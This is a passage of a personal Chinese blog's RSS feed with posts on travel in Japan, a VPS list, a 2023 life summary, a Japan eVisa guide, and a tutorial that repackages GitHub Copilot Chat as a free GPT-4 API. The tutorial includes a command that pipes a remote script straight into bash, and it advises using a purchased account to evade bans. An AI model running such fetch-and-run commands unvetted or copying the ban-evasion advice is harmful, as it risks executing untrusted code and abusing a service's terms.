&lt;p&gt;您可以点击 &lt;a href=&quot;https://cal.com/missuo/talk&quot;&gt;这个链接&lt;/a&gt; 预约任何空闲的时间，预约成功之后请给我 &lt;a href=&quot;mailto:me@missuo.me&quot;&gt;发邮件&lt;/a&gt; 告诉我您想聊的大概内容。如果临时有事情需要改时间也请通过邮件联系我。&lt;/p&gt;
</content:encoded></item><item><title>Traveling in Japan</title><link>https://missuo.me/posts/travel-in-japan/</link><guid isPermaLink="true">https://missuo.me/posts/travel-in-japan/</guid><description>A Japan travel guide covering visa options, Airalo eSIM, Suica/ICOCA transit cards, and cashless payment tips, plus reflections on Japan as a potential retirement destination compared to North America.</description><pubDate>Sun, 14 Jan 2024 14:53:10 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;因为往返美国和中国都从东京转机，所以就有了这一次的日本的旅行，一共去了两次，分别是 4 天和 3 天。在日本的两次旅行改变了我很多的想法，包括人生的规划等等。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;出发前的准备&lt;/h2&gt;
&lt;h3&gt;签证&lt;/h3&gt;
&lt;p&gt;日本签证相对来说非常容易，在中国大陆随便找一家某宝的旅行社就可以，材料也非常简单，本科毕业基本上上传毕业证就可以了。我的第一次签证从美国到日本是自己在日本 eVisa 网站申请的，由于我所在的宾州属于纽约领区，所以由日本驻纽约大使馆签发，花费 3000 JPY。第二次签证是在中国大陆找旅行社申请的，当时比较着急，花费了 300 CNY。&lt;/p&gt;
&lt;h3&gt;SIM 卡&lt;/h3&gt;
&lt;p&gt;我使用的是 &lt;a href=&quot;https://www.airalo.com/japan-esim/moshi-moshi-30days-10gb&quot;&gt;Airalo&lt;/a&gt;，使用我的邀请码 &lt;strong&gt;VINCEN0074&lt;/strong&gt; 可以获得 $3 的优惠，总共花费 $6 可以获得 30 天 10GB 流量。&lt;/p&gt;
&lt;h3&gt;交通卡&lt;/h3&gt;
&lt;p&gt;我申请了 Apple Pay 的 Suica 和 ICOCA。Suica 为关东的卡，而 ICOCA 为关西的卡。Suica 的入金相对来说容易一些，大部分 Apple Pay 的卡片都可以充值，而 ICOCA 门槛高一些，中国大陆发行的卡无法充值，因为我觉得 ICOCA 的卡面更好看一些，所以我用 ICOCA 多一些。两者基本上没什么差别，部分自动售货机可能只支持 Suica，所以 Suica 更通用一些。&lt;/p&gt;
&lt;h3&gt;银行卡&lt;/h3&gt;
&lt;p&gt;因为我不太喜欢用 Cash，所以全程我没有用过 Cash，所有的消费都是 Credit Card 完成，使用的是美国发行的 Discover IT Card，没有货币转换费，在日本自动走 JCB 通道。可以准备一张 Visa/Master/Amex 的信用卡，当然支付宝和微信也可以用。&lt;/p&gt;
&lt;h2&gt;入境日本&lt;/h2&gt;
&lt;p&gt;我的两次入境都是在 NRT (Narita Airport)，第一次入境的时候由于 Visitor 通道的人太多了，我被现在的工作人员引流到了日本人通道，所以入境非常快，全程不到 3 分钟。第二次就没那么幸运了，排在了 Visitor 通道人特别多，全程大概花费 30 分钟以上。不过入境日本不用安检，仅需填写两个单子即可，这一点非常方便。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20240114a86fAe.jpeg&quot; alt=&quot;20240114a86fAe&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20240114Tcw8mH.jpeg&quot; alt=&quot;20240114Tcw8mH&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20240114HfCLNo.jpeg&quot; alt=&quot;20240114HfCLNo&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20240114WkDkh5.jpeg&quot; alt=&quot;20240114WkDkh5&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20240114PmkCOt.jpeg&quot; alt=&quot;20240114PmkCOt&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20240114AmS3CH.jpeg&quot; alt=&quot;20240114AmS3CH&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/202401141vPYCh.jpeg&quot; alt=&quot;202401141vPYCh&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20240114vZMPRw.jpeg&quot; alt=&quot;20240114vZMPRw&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20240114btAMhw.jpeg&quot; alt=&quot;20240114btAMhw&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20240114JzeTVD.jpeg&quot; alt=&quot;20240114JzeTVD&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/202401142ylfo5.jpeg&quot; alt=&quot;202401142ylfo5&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20240114V70saV.jpeg&quot; alt=&quot;20240114V70saV&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/202401146Bb5U7.jpeg&quot; alt=&quot;202401146Bb5U7&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20240114z4lyZ9.jpeg&quot; alt=&quot;20240114z4lyZ9&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20240114WH9wSo.jpeg&quot; alt=&quot;20240114WH9wSo&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20240114L11erc.jpeg&quot; alt=&quot;20240114L11erc&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/202401143KAPZj.jpeg&quot; alt=&quot;202401143KAPZj&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20240114DeSWZt.jpeg&quot; alt=&quot;20240114DeSWZt&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20240114PHpReI.jpeg&quot; alt=&quot;20240114PHpReI&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20240114MWhohQ.jpeg&quot; alt=&quot;20240114MWhohQ&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/202401146eUDYO.jpeg&quot; alt=&quot;202401146eUDYO&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20240114W9dUFN.jpeg&quot; alt=&quot;20240114W9dUFN&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20240114EUe00X.jpg&quot; alt=&quot;20240114EUe00X&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/202401148f1V41.jpg&quot; alt=&quot;202401148f1V41&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20240114839Llb.jpeg&quot; alt=&quot;20240114839Llb&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20240114zMeYM2.jpg&quot; alt=&quot;20240114zMeYM2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/2024011444hqkt.jpg&quot; alt=&quot;2024011444hqkt&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20240114XXK3aB.jpeg&quot; alt=&quot;20240114XXK3aB&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;以上的所有照片均使用 FujiFilm X-S10 XC35F2 和 iPhone 15 Pro Max 拍摄。&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;一些思考&lt;/h2&gt;
&lt;p&gt;我两次在日本的时间都比较短，第一次花了一天时间在镰仓看海和日落。第二次甚至没怎么拍照，去了新宿、神田和吉祥寺，随便逛了逛。没有时间离开东京，之后会计划去京都、大阪、神户和奈良，还有青森和札幌。日本的物价不算高，吃饭和酒店和上海基本差不多，唯一贵的是交通，地铁/公交真的非常贵，感觉已经超过纽约了。&lt;/p&gt;
&lt;p&gt;在来日本之前，我去过了香港、新西兰和美国，过去我非常喜欢去香港，一年之内可能会飞四五次香港，我喜欢香港的美食，在回美国之前，我飞东京还在香港转机，转机的时间只有 5 个小时，我还是义无反顾地入境了香港，坐机场快线去柯士甸找了一家 local 的餐厅一个人吃了一顿饭，然后又机场快线返回赤𫚭角。新西兰我去的是奥克兰，奥克兰的物价非常高，甚至比美国还高，交通也不是很便利，去哪里都得打车/开车，不过好在去哪里都很快，20 分钟左右就可以到达，新西兰的移民政策也挺友好，门槛不高，但是高昂的物价，加上不太高的薪资，以及没那么多互联网公司和岗位，感觉不太适合我。而美国，虽然这些年在疯狂裁员，互联网公司的岗位越来越少，但是总体来说岗位还算是多的，加上可能是全世界最高的薪资，很适合打工人赚钱，当然美国也存在着非常多的问题，非常难留下来，因为太过于自由，存在很多安全的问题，脏乱在美国体现地淋漓尽致，而且在全美气候宜人适合居住的地区也就只有加州和西雅图那一片。加拿大虽然比美国安全一些，但是加拿大气候适合居住的地方也只有温哥华附近。&lt;/p&gt;
&lt;p&gt;最后说说日本，第一印象就是干净安全，出行交通也非常方便，工作人员都非常礼貌热情友善，我还特地关注了一下麦当劳的薪资为 1200 日元/小时，是中国的 3 倍左右，即使是在麦当劳工作也可以过上挺不错的生活了。当然，在日本靠打工似乎确实很难实现财富自由。我以前很不理解郭宇这么有钱，为什么会选择定居在日本，而不是更为发达的北美。直到我亲自去了日本之后，我才意识到财富自由之后，在日本生活会比在北美幸福很多倍，同样的消费水平，由于日本和北美物价之间的差距，可以让你幸福很多。当然，日本的生活也存在着很多问题，例如在日本会比较压抑，因为在公共场合，例如地铁公交上很少有人会大声说话，甚至手机要静音不能接打电话，感觉整个日本都很安静，再比如严格的垃圾分类制度和禁烟制度。不过这些问题在我看来都是能接受的。综上，我觉得北美适合努力打工挣钱但是一定不是最终的目的地，日本适合挣够钱财富自由之后去旅居，或是养老。&lt;/p&gt;
&lt;p&gt;如果有时间的话，之后的每年的假期我应该都会留着去日本，深度感受这个国家的文化。&lt;/p&gt;
</content:encoded></item><item><title>Use Copilot for free unlimited use of GPT-4 API</title><link>https://missuo.me/posts/copilot-chat/</link><guid isPermaLink="true">https://missuo.me/posts/copilot-chat/</guid><description>A tutorial on converting GitHub Copilot Chat API into an OpenAI-compatible API endpoint, enabling free GPT-4 access through the copilot-gpt4-service project with Docker deployment.</description><pubDate>Sun, 14 Jan 2024 14:31:34 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;Copilot 是 GitHub 提供的一项 AI 代码补全的工具，不久之前增加了 Chat 的功能。正是因为支持了 Chat 功能，所以可以把 Copilot Chat 的 API 转换为 OpenAI 官方的 API。重要的是，还支持 GPT-4，虽然不是最新版本的 GPT-4 模型，但是基本也够用。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;准备工作&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;GitHub 帐号 （有 Copilot 权限的，我用的是 GitHub Student Pack）&lt;/li&gt;
&lt;li&gt;海外 VPS （确保能访问 Copilot Chat API）&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;部署&lt;/h2&gt;
&lt;p&gt;在开始之前，先获取你的 Copilot Token。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bash -c &quot;$(curl -fsSL https://raw.githubusercontent.com/aaamoon/copilot-gpt4-service/master/shells/get_copilot_token.sh)&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来主要使用的是 &lt;a href=&quot;https://github.com/aaamoon/copilot-gpt4-service&quot;&gt;aaamoon/copilot-gpt4-service&lt;/a&gt;，&lt;s&gt;GitHub 目前的版本还没有合并我的 PR&lt;/s&gt;，所以在部署之后，每次请求都应该携带在上一步获取的 &lt;strong&gt;Copilot Token&lt;/strong&gt;。我改进之后的版本是当你在环境变量或者配置文件中填写了 Copilot Token，则无需在每次请求时携带，会优先使用环境变量或者配置文件提供的 Token。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git clone https://github.com/aaamoon/copilot-gpt4-service &amp;amp;&amp;amp; cd copilot-gpt4-service
nano compose.yaml # 修改成你自己的 COPILOT_TOKEN
docker compose up -d
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;部署完成后即可在任何支持 OpenAI API 的 App 中填写你的 API Endpoint，如果 API Key 不能留空的话可以随便写。&lt;/p&gt;
&lt;h2&gt;注意事项&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;如果你使用了我改进的版本部署，请注意你的 API 是完全开放的，不要泄露你的 API&lt;/li&gt;
&lt;li&gt;建议不要使用 GitHub 大号的 Token，否则可能会封号，我是直接买了一个帐号，花费 40CNY&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>Servers I am using</title><link>https://missuo.me/posts/server-recommendation/</link><guid isPermaLink="true">https://missuo.me/posts/server-recommendation/</guid><description>A personal VPS inventory listing providers including DMIT, GreenCloud, BuyVM, and Oracle across multiple regions with pricing and use cases for CN2 GIA, IIJ routing, and BGP sessions.</description><pubDate>Thu, 28 Dec 2023 14:50:50 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;本文纯属是我自己使用的 VPS 的分享，不涉及任何 AFF 的链接。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;商家&lt;/th&gt;
&lt;th&gt;地区&lt;/th&gt;
&lt;th&gt;配置&lt;/th&gt;
&lt;th&gt;价格&lt;/th&gt;
&lt;th&gt;购买理由&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;DMIT&lt;/td&gt;
&lt;td&gt;Los Angeles&lt;/td&gt;
&lt;td&gt;1C/1G/10G/450G&lt;/td&gt;
&lt;td&gt;36.9USD/年&lt;/td&gt;
&lt;td&gt;CN2 GIA 线路&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GreenCloud&lt;/td&gt;
&lt;td&gt;Tokyo&lt;/td&gt;
&lt;td&gt;1C/1G/20G/750G&lt;/td&gt;
&lt;td&gt;24.0USD/年&lt;/td&gt;
&lt;td&gt;IIJ 线路&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GreenCloud&lt;/td&gt;
&lt;td&gt;Tokyo&lt;/td&gt;
&lt;td&gt;5C/10G/100G/2T&lt;/td&gt;
&lt;td&gt;100.0USD/3 年&lt;/td&gt;
&lt;td&gt;IIJ 线路 / 7763 CPU 配置高&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CenterHop&lt;/td&gt;
&lt;td&gt;Singapore&lt;/td&gt;
&lt;td&gt;1C/0.5G/10G/1T&lt;/td&gt;
&lt;td&gt;1.5USD/月&lt;/td&gt;
&lt;td&gt;便宜 / IP 解锁 Netflix&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;iFog&lt;/td&gt;
&lt;td&gt;Toronto&lt;/td&gt;
&lt;td&gt;1C/0.5G/20G/500G&lt;/td&gt;
&lt;td&gt;3.75CHF/月&lt;/td&gt;
&lt;td&gt;支持 BGP Session&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;BuyVM&lt;/td&gt;
&lt;td&gt;Las Vegas&lt;/td&gt;
&lt;td&gt;1C/1G/270G/UNLIMITED&lt;/td&gt;
&lt;td&gt;3.75CAD/月&lt;/td&gt;
&lt;td&gt;便宜 / 支持 BGP Session&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vultr&lt;/td&gt;
&lt;td&gt;Seattle&lt;/td&gt;
&lt;td&gt;1C/0.5G/10G/1T&lt;/td&gt;
&lt;td&gt;Free&lt;/td&gt;
&lt;td&gt;白嫖&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Oracle&lt;/td&gt;
&lt;td&gt;Seoul / Chuncheon&lt;/td&gt;
&lt;td&gt;2C/1G/40G/10T&lt;/td&gt;
&lt;td&gt;Free&lt;/td&gt;
&lt;td&gt;白嫖了很多台&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;BeroHost&lt;/td&gt;
&lt;td&gt;Hessen&lt;/td&gt;
&lt;td&gt;8C/24G/420G/25T&lt;/td&gt;
&lt;td&gt;10EUR/月&lt;/td&gt;
&lt;td&gt;7443P CPU 配置高&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;目前在跑服务的主要是 BeroHost 和 GreenCloud。&lt;/strong&gt;&lt;/p&gt;
</content:encoded></item><item><title>2023 year-end summary</title><link>https://missuo.me/posts/summary-2023/</link><guid isPermaLink="true">https://missuo.me/posts/summary-2023/</guid><description>A 2023 year-end reflection covering life milestones including graduate school in Pittsburgh, losing grandparents, travels to New Zealand and Japan, and thoughts on career planning as an international student in tech.</description><pubDate>Tue, 12 Dec 2023 07:16:55 GMT</pubDate><content:encoded>&lt;p&gt;&lt;s&gt;最近比较繁忙，还没有好好整理过去的一年发生的事情。当然，过去的这一整年是我人生中最重要的一年。打算把这篇文章留到夏威夷飞东京的航班上，那时候没有网络，我会在抵达东京之后推送。&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;此时此刻，正在从 &lt;strong&gt;美国檀香山 (Honolulu)&lt;/strong&gt; 飞往 &lt;strong&gt;日本东京 (Tokyo)&lt;/strong&gt; 的航班上，飞的是 Zipair 的廉航，不过体验还是很给力的，还有免费的 Wi-Fi，虽然没有免费餐食，但是餐食价格还是很良心的，Boeing 787-9 的机型舒适度还可以，即使没有娱乐系统，但是座位后面的支架放个手机或者 iPad 看看剧高度刚刚好。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;本文在航班上写了一半，剩下的在 12 月 27 日写完的。所以很抱歉，没有按时推送这篇文章。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;p&gt;2023 年对我来说，是我生命中最重要的一年，没有之一。&lt;/p&gt;
&lt;p&gt;随着 2023 年 8 月 17 日在 LAX 顺利入境美国，到今天为止快四个月了。过去的四个月，我都在适应这个国家的文化，到今天为止，算是可以顺利地在美国生活。&lt;/p&gt;
&lt;p&gt;从 2023 年头开始说起，那时候完成了所有学校的申请。陆续一直在等待收 offer，一共大概是美国的 12 个 Master 项目，陆续收到了几个 offer，最后选择了 PITT，选择的理由也很简单，单纯是觉得综合的世界排名还不错，另外这个地方比较安全，这可能是爸妈比较在意的点。（当然在现在这个点回看我的决定，还是有些后悔没去 24 Spring 的 &lt;strong&gt;CS28@USC&lt;/strong&gt;）确定好学校之后，开始准备本科毕业的最后工作，领取毕业证和学位证。然后就是准备美国签证和机票，以及美国租房等等一系列问题。关于签证，我有特地写过 &lt;a href=&quot;https://missuo.me/posts/hongkong-us-visa/&quot;&gt;一篇文章&lt;/a&gt;，感兴趣的可以看一下。我应该是 CS Master 中国留学生中为数不多的拿到五年签证的，绝对多数人基本都是一年，这会让我出入美国相对来说自由很多。拿到签证之后，其实算是完成了所有的准备工作，那段时间也非常轻松，剩下的就是等待开学了。&lt;/p&gt;
&lt;p&gt;在 23 年 5 月的第一天，我早上在睡觉的时候接到了电话，没想到那个如此普通的电话，却是我和爷爷的最后一次见面。外公的离开的时候，那时候我还只有幼儿园，还没有到懂事的年纪，在我的记忆里，甚至都没有和外公说过几句话。而爷爷的离开，是我从懂事之后第一次经历亲人的离开。直到现在，我都有些不太愿意接受这个事实。&lt;/p&gt;
&lt;p&gt;在去美国之前，我和好朋友去 &lt;strong&gt;新西兰奥克兰 (Auckland)&lt;/strong&gt; 玩了几天，其实是因为 上海-奥克兰-洛杉机 这条航线在开学季的 8 月是最便宜的，全程飞下来大概 6500 人民币。相比埃塞俄比亚和马尼拉转机，这条航线唯一的问题是需要新西兰签证，不过新西兰是电子签证，由于我们俩都有美国签证，在线申请 7-10 天都收到了签证，分别是 3 年和 5 年多次。在前往新西兰之前，我还没有去过别的任何国家，我的护照甚至是白本子。我们在奥克兰和朋友一起开车去看海，那是一段很棒的旅程。&lt;/p&gt;
&lt;p&gt;到达洛杉机之后，我和朋友去了尔湾，之后在尔湾分开了，他飞了佛州，而我要飞往宾州。而在过去的四个月，我就是在宾州度过的。从酒店前往 SNA 机场准备飞去匹兹堡的时候，还是很紧张的，我怕我自己做不好很多事情。然而现在，我发现我似乎成长了很多，也学会了很多，现在我可以和客服、工作人员交流去解决各种问题。在我遇到的大部分的工作人员都非常友善，没有刻意刁难或者歧视。&lt;/p&gt;
&lt;p&gt;在学习上压力还是挺大的。比起国内的学习，美国的教授可能不会太关注你的出勤率，甚至很多课都不占分。跟国内不同的是，几乎每一次的作业都需要写完代码，并且附上一份报告。有的时候一次作业可能会做一个下午（3-6 小时）或者更久。当然相对来说 deadline 也没有那么严格，如果有人和教授提出来不及完成的时候，大部分情况下都会延长时间。另外，课堂氛围非常好，教授和学生之间平等的交流，在课上的任何时候可以提出问题，有的时候甚至会聊很多相关的科技新闻之类的。课堂之余其实也没什么时间玩，过去的一个学期，除了去了几次 Downtown 和 Zoo，感恩节去了纽约，别的时间不是在家，就是在上课，确实生活会比较单调，几乎没有任何的社交。在学期末的时候，认识了在 CMU 做博后和在 Google 工作的朋友，我们一起吃了火锅，聊了很多关于在他们美国的工作经历以及移民买房之类的话题，也算是对我未来的一些规划有了一些启发。&lt;/p&gt;
&lt;p&gt;23 Fall 的学期在 12 月中旬，但是假期只有三周左右，一直在考虑要不要回国。因为那段时间外婆身体不太好，所以还是决定回去看看她，我提早定好了行程。还没等我回去，外婆也永远地离开了这个世界，我甚至没能见到最后一面。比起过去，交通工具的普及让我们可以更加方便地去往任何地方，但是也让我们错过很多。&lt;/p&gt;
&lt;p&gt;在 12 月 13 日我上完了本学期最后一节课，在 12 月 11 日完成了第一次英文的 Presentation，很紧张发挥地不是很好，但是算是完成了，这对我来说迈出了很重要的一步。其实是一次很棒的经历，两个人一组需要读完一篇 Paper，然后在讲台上将同学们介绍这篇 Paper 的内容，当然也要回答同学和教授所有的问题。&lt;/p&gt;
&lt;p&gt;美国东部时间的 12 月 14 日早上 4 点 45 分左右从家里出门，去楼下等公交前往 PIT 机场，我的航线是从 PIT 到 DFW (Dallas)，从 DFW 再到 HNL (Honolulu)，最后从 HNL 飞往 NRT (Narita, Tokyo)。但是这个飞行线路的设定非常极限，DFW 飞往 HNL 的航班是当日的最后一班，而 HNL 飞往 NRT 这一程也不支持改期，而且每三天才会有一班。也就是说如果因为第一程的延误，我可能会损失后面的所有行程，包括在檀香山和东京的酒店。还好最后所有的行程虽然都有一些延误，但是都还是不影响下一程的飞行。15 日早上，我提早一个小时抵达机场，这家航司不管你需不需要托运行李，都需要柜台值机，导致了几百个人一起等三个值机柜台，我是倒数第二个到的。最后值机完了排队安检，安检的队伍超级长，导致我在起飞的时间根本无法到达登机口，而且在安检的时候还被要求开箱检查，安检完的时候距离起飞的时间已经过去 10 多分钟了。在排队安检的时候遇到一个跟我同一个航班的日本小姐姐，她是倒数第四个值机的，她不会英语，更不会中文，我们艰难地用 Google Translate 给对方打字交流，最后我们两个人安检完一起奔向登机口，到登机口飞机竟然还没有关闭舱门，我还和登机口的工作人员说，&quot;We are so lucky!&quot;。我们俩是最后登上这个飞机的，我们登机之后才关舱门。后来落地东京之后，我们在去往海关的路上又遇到了，她还是很开心地跟我打招呼，跟我说 &quot;Hawaii! Hawaii!&quot;。我和她加了 Line。最后因为她走的是 citizen 通道，我走的是 visitor 通道，我们在那里分开了。后来有在 Line 上聊过几句，我才知道她竟然一个人在夏威夷待了 10 天，她也给了我一些在东京游玩的建议。&lt;/p&gt;
&lt;p&gt;在 Narita 顺利入境之后，开启了在东京的旅程。（其实如果我在落地东京之后就发布这篇总结的话，似乎就不会有东京的部分了）在东京短暂玩了四天，去了东京铁塔、日本桥、秋叶原、涩谷、镰仓。在涩谷看到了美丽的日落和城市的夜景，在镰仓看到了海那边的富士山，还有一群热爱冲浪的少年，以及动漫里镰仓高校前的日落。东京的消费不算高，除了日本地铁公交这类交通之外，别的消费和上海基本差不多。虽然它不是一个移民的国家，但应该算得上是一个生活幸福指数很高的国家，非常干净的街道，地铁上要求静音，不能接打电话，禁烟等等。如果将来有机会的话，可能会考虑在东京定居生活一段时间。&lt;/p&gt;
&lt;p&gt;从 Narita 起飞，落地宁波之后，飞完了 2023 年的所有的航班。六个国家和地区，是我飞行次数最多的一年，去了很多地方感受了不同国家的文化。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20231228ZRgLCp.PNG&quot; alt=&quot;20231228ZRgLCp&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;2024 年的计划&lt;/h3&gt;
&lt;p&gt;关于 24 年的计划，我希望能顺利地完成剩下两个学期的课程，能找到 Summer Intern，最后能拿到 Return Offer，激活 OPT 开始全职工作，能抽到 H1B 就可以了。剩下的时间，可能会前往不同的地方旅行，感受每个地方独特的风和空气，当然更希望有同行的人一起享受每一段旅程。&lt;/p&gt;
&lt;h3&gt;最后的最后&lt;/h3&gt;
&lt;p&gt;我的这个博客最开始的初衷是想写很多我不方便在社交平台上说的话，因为所有的社交平台可能都会面临 &lt;strong&gt;404 Not Found&lt;/strong&gt;，而对于我的博客，我可以自己决定很多东西。开始我也没有限制任何国家和地区的访问，随着时间的推移，我发现我似乎被人盯上了，开始审视我所有的文字。所以，在前段时间我限制了中国大陆的访问。我并不想要很多人看我的博客，我只是想给身边有共同兴趣的人分享我的生活。在过去的一段时间里，在 X 和 Telegram 收到了很多网友的私信，很感谢大家的祝福。&lt;/p&gt;
&lt;p&gt;这个博客部署在 GitHub Pages 上，域名还有 10 年左右到期。我过去的一年里，我注销了知乎、阿里云、又拍云等等，我永久停止了新浪微博、哔哩哔哩的更新，我放弃了几乎所有的大陆的社交平台。X 和这个博客是我分享生活的地方。所以没有意外，我应该会一直写下去。&lt;/p&gt;
&lt;p&gt;如果你想跟我约时间语音聊一聊，非常欢迎通过 &lt;a href=&quot;mailto:me@missuo.me&quot;&gt;邮件&lt;/a&gt; 跟我约时间。可以是关于留学、未来规划，或者是一起做项目之类的。&lt;/p&gt;
</content:encoded></item><item><title>Apply for Japan eVisa in the United States</title><link>https://missuo.me/posts/japan-evisa/</link><guid isPermaLink="true">https://missuo.me/posts/japan-evisa/</guid><description>A guide to applying for a Japan eVisa as an F1 student in the US, detailing required documents, processing times varying by consulate, and the limitation to single-entry visas for students.</description><pubDate>Fri, 08 Dec 2023 20:02:02 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;关于 eVisa，顾名思义就是没有签证贴纸的电子签证。目前在新西兰、澳大利亚等国家已经非常成熟，仅需在线填写资料缴费审核就可以了。相比于传统的签证，可以免掉面签和来回寄护照的繁琐流程。除此之外，eVisa 的处理速度也会比传统签证快很多，之前我申请新西兰电子签证，7 天左右就下签了。目前在中国大陆，日本签证似乎都是分领区，例如江浙沪都是由上海领区处理，好像不能自己 DIY 申请，需要找旅行社处理，也就是某宝的黄牛，价格倒是不贵（250 元左右）。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;DIY 申请 eVisa 的条件&lt;/h2&gt;
&lt;p&gt;根据日本外务省网站，自 2023 年 3 月 27 日起，旅居在以下国家和地区的人士，可在当地申请日本电子签证：&lt;/p&gt;
&lt;p&gt;巴西、柬埔寨、加拿大、蒙古、沙特阿拉伯、新加坡、南非、中国台湾、阿拉伯联合酋长国、英国、美国。&lt;/p&gt;
&lt;p&gt;首先你需要在当地有居留权，通常来讲就是学生/工作等签证或者永居，持旅游签证是不可以的（除非当地日本使领馆有特殊规定）。&lt;/p&gt;
&lt;p&gt;原则上只能在计划到达日本的日期，最早提前 3 个月，最晚提前 15 天申请。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;我在美国持有的是 F1 签证，I-94 标记的是 D/S，也就是我在美国逗留的时间没有限制，直到 I-20 到期。所以符合在美国申请日本 eVisa 的条件。&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;准备材料&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;对于不同人审核可能会有不同，另外不同领区可能也有所不同，我是在纽约领取申请的，仅供参考。&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;护照（个人信息页，备注页，签证贴纸页，建议全部拍一遍，以免让你补）&lt;/li&gt;
&lt;li&gt;银行账单 (美国银行的 App 都可以查到 Bank Statement，仅需最近一个月保存一下就行)&lt;/li&gt;
&lt;li&gt;行程单（最好具体一些，从飞机落地到离开日本，&lt;s&gt;可以借助 ChatGPT&lt;/s&gt;）&lt;/li&gt;
&lt;li&gt;I-20&lt;/li&gt;
&lt;li&gt;酒店订单（携程上可以随便定一个，可以选择后付款，入住前一天可以取消）&lt;/li&gt;
&lt;li&gt;机票订单（从美国前往日本，离开日本前往别的国家都要）&lt;/li&gt;
&lt;li&gt;出生证明（我不知道为什么要求提交这个，我最后就是拍了一下护照，中国身份证，美国 State ID）&lt;/li&gt;
&lt;li&gt;证件照&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;申请步骤&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;在系统上填写信息，上传文件，提交申请&lt;/li&gt;
